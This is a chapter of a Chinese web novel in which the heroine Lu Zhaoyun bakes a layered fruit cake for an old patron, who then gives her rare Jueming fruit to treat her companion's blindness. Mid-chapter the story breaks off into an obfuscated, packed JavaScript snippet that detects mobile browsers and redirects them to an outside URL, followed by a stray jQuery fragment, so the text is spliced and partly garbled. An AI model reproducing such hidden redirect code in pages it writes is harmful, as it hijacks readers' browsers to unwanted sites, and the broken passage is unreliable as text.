在厨房转了一圈,找到放置食材的区域,陆昭云眉尾轻扬,笑道:

    “果然在这里。”

    只见两张方桌上整整齐齐码着好几种水果,观其品相和新鲜程度,应当是刚采摘不久的,且这些水果基本上是她方才在府内果林里看到的品种。

    管事离开前,特意留了一个厨娘给陆昭云打下手。方才厨娘一直跟在陆昭云身边默默观察,此时见她盯着那堆果子,面上先是惊讶,而后又满是可惜。

    犹豫片刻,厨娘咬牙跺跺脚,还是走上前,悄悄附在陆昭云耳边说:

    “姑娘真是好眼力,老太爷得确爱吃果子。但这些果子做出花儿来,也不过是蒸点甜糕或者切果盘,恁是没啥新意。”

    她小心往门外看了看,确认附近没人,又道:“听前院丫鬟说,近些日子老太爷连果子都吃腻了,姑娘不如考虑做其他的?”

    “多谢婶子好意。”

    陆昭云拉着她的手拍了拍,她与这位厨娘素不相识,但对方愿意提点她,她真心感谢。

    她眨眨眼睛,“婶子放心,我用它们制作的食物足够新奇,保管老太爷满意。”见她坚持,又一副胸有成竹的模样,厨娘长张嘴,也不好多说什么。但眼神再没有从陆昭云身上挪开过,她也好奇她能做出何等绝味。

    陆昭云取来鸡蛋、白糖和面粉,问厨娘:“可有牛乳?”

    厨娘笑道:“有的,府内每日都有鲜牛乳。”

    方家小少爷早产体弱,大夫建议多喝牛乳养身子,方府专门养了牛每日供应牛乳。厨娘走到食材区角落一个大木桶前,她揭开盖子,可以看到里面另外放置一个小桶,装满了奶白色的牛乳。

    开盖的瞬间,寒意和雾气扑面而来,饶是陆昭云见多识广,也感到惊奇。

    这个季节为一小桶牛乳用如此多冰块,八成府内设有冰窖。这方家比她看到的还要富裕,来历应当也不简单。

    没错,陆昭云要做的是小蛋糕。偏西式的糕点,甜而不腻,赌一个出奇制胜。

    员外家本就设有窑炉,所以有做小蛋糕的条件。她将牛乳、糖、面粉和油混合搅拌,再与拜托秦遇打发的蛋清混合,搅拌均匀后倒入刚做好的简易模具中,放入窑炉中烘烤。

    两刻钟后,陆昭云打开窑炉的盖子,一股浓郁的奶香混着面香的味道争先恐后地涌出来。

    “好浓郁的香味,我活了这么多年从未闻过。”厨娘在旁边抽抽鼻子,眼睛盯着窑炉,亮得惊人。

    她心里最后的怀疑都化为佩服:“姑娘的厨艺确实高超。”

    蛋糕制作的很成功,陆昭云唇角也扬起笑意,她取出小蛋糕,问:“那婶子猜一猜方府老太爷可会喜欢?”

    厨娘竖起大拇指,只道:“姑娘会心想事成的。”

    厨娘也是个妙人。

    打趣完后,陆昭云今日紧绷的情绪得到一点放松,她继续专注给小蛋糕收尾。

    切两刀将蛋糕分成三层,一层面包铺上一层水果和奶油。新鲜的猕猴桃、柑橘、频婆等水果,不仅给蛋糕增色,同时也能丰富口感。

    用奶油封好四周,在蛋糕顶上铺上雕成花形的水果,最后在水果周围用奶油挤出繁复的花朵点缀。

    厨娘眼睛瞪得老大,惊呼:“好生别致,看着像那些贵人收藏的宝贝,都不舍得吃吧?”

    等管事过来查看情况,恰好是三层水果蛋糕成型的时候。

    他一进门就被蛋糕吸引力,围着转了好几圈,一边围观一边赞叹。

    “好,好!称得上新奇。”

    陆昭云组装了两个蛋糕,一个风格偏华贵,一个清新精美。

    管事吩咐两个侍女将蛋糕端走,“小心端好,送去迎宾阁,给老太爷和老爷夫人呈上去。”

    又过了一刻钟,管事领着陆昭云和秦遇去见老太爷。

    进入迎宾阁,未见人先闻声。

    “老夫果真没看错人,这女娃做的糕点,当真是好吃又新奇。你们活了这么多年,可曾见过?”

    这声音怎么这么耳熟。

    陆昭云抬头一看,也愣住了。

    上方老者不就是卖血哈的摊主吗?

    他捋了捋白胡子,笑着看向她:“你这女娃,挑选血蛤时,一眼就能瞅准品相佳、肉质肥美的,那时我便猜测你擅庖厨。就连摊子上的其他海货,你眼睛扫过的都是品质最好的。”

    老者说完,邀请两人落座。

    听他说完,结合老者先前在摊位上的提点,陆昭云恍然大悟。

    她眉眼弯弯,笑问:

    “老伯,所以我通过你的考验了吗?”

    老者哈哈大笑:“你这女娃,不仅厨艺好还很聪慧。”

    “这糕点老夫很喜欢,蓬松柔软,奶香醇厚。尝一口好似吃了云团,老夫这老掉牙的也吃得动。”

    他左边是一位大致四十岁的中年男子,男子身旁坐着一位满头珠翠、面若银盘的妇人,妇人怀中抱着一个幼童,约莫四岁大小。

    幼童小手乖乖捧着小块蛋糕,吃完最后一口后,扭动身子想从妇人怀中挣扎出来,去够碟子里剩下的蛋糕。

    他奶声奶气道:

    “祖父,我还要一块。”

    “哎哟!”老者露出慈祥的笑,脸上纹路皱成了花。“乖孙你还小,吃太多甜口不好,留着晚上再吃。”

    安抚好幼童,老者又问:“你这女娃,怎知老夫嗜甜?”

    陆昭云从容答道:

    “府中果树种类虽多,但以甜味重的果子为主,且贵府装潢是江南水乡的风格。恕我冒犯,若我猜的没错,老伯您或者您祖上是江南一带的人,那里的人也嗜好甜味食物。”

    “倒是敏锐。”老者对她更是赞赏,“也见识不少。”

    说着他表情有些许怀念,似回忆起旧年。

    “老夫家祖籍的确是江南。家中先祖曾官拜御史,何等风光。后来却因刚正不阿,弹劾贪官污吏而树敌颇多,被贬到这边陲小镇。”

    “先祖死前留下家训,方家五代之内不得入朝为官。自我父亲那代便弃文从商,多年积累也算小有所成,方在这沿海之处扎了根。”

    “但老夫时常想起儿时在江南的日子,想念那里的风土人情和饮食,便修建此栋风格迥异的宅院,也会时常寻些甜口食物解馋......”

    没想到

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648665|204626||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这位老者竟有这么一段过往。

    更令陆昭云感到意外的是,老者不仅愿意让出决明果,还真将自己的来历透露给他们,他们与他也不过两面之缘。

    看她神色复杂,似乎猜到她的想法,老者道:

    “只是看你们千里来寻决明果,感慨你们坚韧赤忱罢了。”

    他侧身对身旁中年男子说:“云周,将决明果都给他们吧。”

    “亏得老夫今年嘴馋,果子一成熟就请人采摘了好些囤着,不然你们这趟真的是要跑空了。”

    中年男子亲自去提了一个篮子过来,道:“此物便是决明果。”

    决明果与名字完全不相符,它通体赤红,只有鸡蛋大小,远远就能闻到一股香气。

    老者看着陆昭云,意味深长道:

    “决明果本就稀有,多少人终其一生都无缘见到,它的功效更是少有人知。女娃你是为你身旁这位男娃寻的吧。毕竟,决明果是治疗眼疾的良药。”

    陆昭云神色微变,谢过老者后,拉着秦遇起身告辞。

    秦遇骇然失色。

    他怎么也没想到,他们这一路向东风餐露宿、历经磨难的真实目的,竟然是为他寻药。

    胸口酸酸涨涨,秦遇心中无比动容,无数复杂情绪来回撕扯,愧疚、亏欠和自卑攥着他的胸口,让他快要无法呼吸。

    情绪几乎无法抑制时,掌心传来的温度让他惊醒。她牵着他大步向前,恍惚间,秦遇似乎看见前方闪烁着微光。

    明亮、炽热。

    原来她从未放弃为他治眼睛,那只紧紧握着他的手,也总是在关键时刻给予他力量。

    时至今日,秦遇终于明白,他似乎是被她坚定选择的。

    那一刻,他的心脏狠狠跳动。

    二人带着决明果离开后,方云周有些不解:“爹,决明果明明很珍贵,真就这样送给他们。”

    方老太爷没忍住给他一记白眼:

    “嗨,你这臭小子,知不知道什么叫吃人嘴软。而且人家费心做的这个叫‘蛋糕’的吃食,也没见少吃呐。”

    他身旁的妻子也道:“是个好姑娘。”

    方云周回味起蛋糕的味道,也觉得臊得慌,红着脸没再说什么。

    让他自个人反省,方老太爷逗着孙子没抬头。

    “对咯,老夫看那女娃有眼缘,心情好做了这笔交易又咋的。再说了人家还把蛋糕方子送我们了,这世上老夫没见过的吃食,足以值千金。”

    半晌,一道苍老的声音几不可闻。

    “何况那个瞎眼的可怜男娃,是故人之子。”

    此行目的已然达到,陆昭云心里压着的担忧终于散了。回程路途遥远,无法带回新鲜的决明果,所幸决明果做药材,晒成果干不会影响药效。

    她决定在镇中多停留两日。

    将决明果切好,找客栈掌柜借来筛子和木架,晾晒在房间外的走廊上。窗户开着,决明果干在陆昭云视线范围内。

    收拾完毕,得了空闲,陆昭云才看着身边这个一直跟着她,明明心事重重却始终不开口的“小尾巴”,道:

    “慕风,你可有话要对我说?”